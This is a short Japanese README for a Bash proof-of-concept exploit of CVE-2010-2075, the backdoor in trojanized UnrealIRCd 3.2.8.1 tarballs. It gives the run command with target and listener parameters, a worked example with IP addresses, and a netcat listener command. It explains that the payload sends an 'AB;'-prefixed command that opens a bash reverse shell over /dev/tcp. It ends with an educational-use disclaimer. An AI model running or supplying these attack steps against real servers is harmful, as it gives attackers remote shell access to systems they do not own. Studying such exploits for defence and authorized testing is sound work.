CVE-2010-2075 - UnrealIRCd 3.2.8.1 バックドア (Bash PoC)

説明

UnrealIRCd 3.2.8.1 のソースtarballに導入されたバックドアのBash PoC。 改ざんされたバイナリは、IRCポートに送信されたAB;で始まる任意のコマンドを実行します。

使用方法

chmod +x exploit.sh
./exploit.sh <RHOST> <RPORT> <LHOST> <LPORT>

例:

./exploit.sh 192.168.1.10 6667 192.168.1.20 4444

実行前にリスナーをセットアップしてください:

nc -lvnp 4444

動作原理

バックドアは受信データにAB;というプレフィックスがないかチェックし、残りをシステムシェルに渡します。ペイロードは/dev/tcpを介してbashリバースシェルを送信します。

影響を受けるバージョン

• UnrealIRCd 3.2.8.1 (トロイの木馬化されたtarball, 2009年11月 - 2010年6月)

参考文献

• https://nvd.nist.gov/vuln/detail/CVE-2010-2075
• https://www.unrealircd.org/txt/unrealsecadvisory.20100612.txt

免責事項

教育および許可されたテスト目的のみに使用してください。